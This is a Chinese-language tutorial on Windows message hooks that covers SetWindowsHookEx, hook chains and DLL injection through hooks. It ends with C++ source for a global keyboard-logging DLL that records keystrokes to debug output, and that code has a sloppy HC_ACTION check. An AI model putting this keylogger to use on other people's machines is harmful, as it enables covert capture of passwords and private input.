消息HOOK

Windows操作系统是事件驱动的。事件被包装了消息发送给窗口,比如点击菜单,按钮,移动窗口等等

消息处理过程

如:

1 按下键盘时,会产生一个键盘按下的消息,这个消息首先加入系统消息队列

2 操作系统从系统消息队列里面分发消息给具体的程序的消息队列

3 程序自身通过GetMessage获取消息,DispatchMessage分发消息,通过消息回调函数处理消息

什么是HOOK

HOOK就是从系统消息队列到应用程序消息队列之前,对消息进行处理,处理之后再扔给下一个消息钩子(HOOK)或者扔到应用程序的消息队列中。也就是说在系统消息队列分发消息给应用程序的过程中把消息勾住。

一个消息可以被多个钩子钩子,多个钩子称为钩子链

完成HOOK涉及到的相关API

SetWindowsHookEx设置钩子
CallNextHookEx 将钩子信息传递到当前钩子链中的下一个子程序
UnhookWindowsHookEx 卸载钩子
   

编写消息钩子需要将设置钩子的函数写到dll里面,当勾住一个线程后,产生消息时,假如系统发现包含钩子的dll不在本进程中,系统会将dll强行加载进去,这也是一种注入dll的手段

安装HOOK

HHOOK SetWindowsHookExA(
int       idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD     dwThreadId
);

参数

int idHook:

表示HOOK要勾住的消息的类型

HOOKPROC lpfn:

这是一个回调函数,也就是勾住消息后通过什么去处理函数,根据消息的不同处理的消息回调函数不同

HINSTANCE hmod:

DLL文件的实例句柄

DWORD dwThreadId:

表示线程ID,如果为0表示遍历所有线程

返回值

如果函数成功,返回值是挂钩过程的句柄

如果失败返回值为NULL

特别点

安装HOOK函数会用到消息处理回调函数,这个函数根据消息的不同也不同,通常在这个函数里面用完了之后还需要用CallNextHookEx把用完的消息给下一个钩子来处理

卸载钩子

UnhookWindowsHookEx()

直接把句柄传进去就好,这个函数比较简单

总结消息HOOK

首先消息HOOK实现的就是在操作系统把消息发给应用程序前先把消息截获了处理再发出去,消息HOOK只能采用dll形式来处理消息HOOK对应各种消息的处理不一样,有不一样的回调函数在回调函数里面区分处理

代码实现HOOK-键盘记录器

//.cpp
#include"hookdll.h"
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
LRESULT CALLBACK KeyboardProc(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (HC_ACTION)
{
BYTE KeyState[256]{ 0 };
if (GetKeyboardState(KeyState))
{
LONG keyinfo = lParam;
UINT keyCode = (keyinfo >> 16) & 0x00ff;
WCHAR wkeyCode = 0;
ToAscii((UINT)wParam, keyCode, KeyState, (LPWORD)&wkeyCode, 0);
CHAR strinfo[12] = { 0 };
sprintf_s(strinfo, _countof(strinfo), "test %c", wkeyCode);
OutputDebugStringA(strinfo);
return 0;
}
}
return CallNextHookEx(g_hHook,code, wParam, lParam);
}
BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hInstance,0);
if (g_hHook == NULL)
{
return false;
}
return TRUE;
}
BOOL unInstallHook()
{
return UnhookWindowsHookEx(g_hHook);
}
BOOL DllMain(HINSTANCE hInstance,DWORD ul_reason_for_call,LPVOID lpReseverd)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
g_hInstance = hInstance;
}
return TRUE;
}
//.h头文件
#ifndef __HOOKDLL_H__
#define __HOOKDLL_H__


#include<Windows.h>
#include<iostream>
using namespace std;
extern "C" __declspec(dllexport) BOOL InstallHook();
extern "C" __declspec(dllexport) BOOL unInstallHook();


#endif